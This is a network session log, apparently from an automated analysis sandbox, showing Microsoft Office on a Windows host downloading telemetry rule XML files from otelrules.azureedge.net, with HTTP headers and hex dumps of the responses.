2024-10-29 03:18:12 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:11 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:12 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:12 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: b981dc60-601e-0097-7636-29f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031812Z-15b8d89586f8l5961kfst8fpb00000000geg00000000k0xz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:18:12 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:12 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:12 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:12 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: d866d412-001e-0028-1c9c-27c49f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031812Z-15b8d89586fpccrmgpemqdqe5800000000v00000000074m7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:12 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:12 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:12 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:12 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 3a0fb8a5-701e-0050-6930-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031812Z-16849878b786lft2mu9uftf3y40000000770000000009k8e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:12 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:12 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:12 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:12 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 8f4dae4f-901e-008f-19cb-2767a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031812Z-17c5cb586f6wmhkn5q6fu8c5ss00000005a00000000086yv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:18:12 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:12 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:12 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:12 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 255ed8c5-301e-0051-461c-2738bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031812Z-16849878b78q9m8bqvwuva4svc00000004gg000000008e6t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:18:12 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:12 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:12 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:12 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: cdbfd92d-501e-0029-317f-27d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031812Z-16849878b786jv8w2kpaf5zkqs00000004t000000000gre0 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:12 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:13 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:13 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:13 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 174e4ed1-f01e-0052-3d1b-279224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031813Z-16849878b78wv88bk51myq5vxc000000064000000000qncu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:13 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:13 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:13 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:13 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 2e8006eb-901e-0083-471c-26bb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031813Z-16849878b78qwx7pmw9x5fub1c00000003zg00000000pn7k x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:13 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:13 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:13 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:13 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 207ff7bf-701e-006f-1357-27afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031813Z-16849878b78nx5sne3fztmu6xc00000006u000000000qabg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 03:18:13 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:13 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:13 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:13 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 17a5a9a5-201e-0003-7b36-28f85a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031813Z-15b8d89586fwzdd8urmg0p1ebs0000000geg00000000ap3b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 03:18:13 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 03:18:13 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 03:18:13 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 03:18:13 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: eff8debc-001e-0065-199c-270b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T031813Z-16849878b78nx5sne3fztmu6xc00000006wg00000000es1u x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
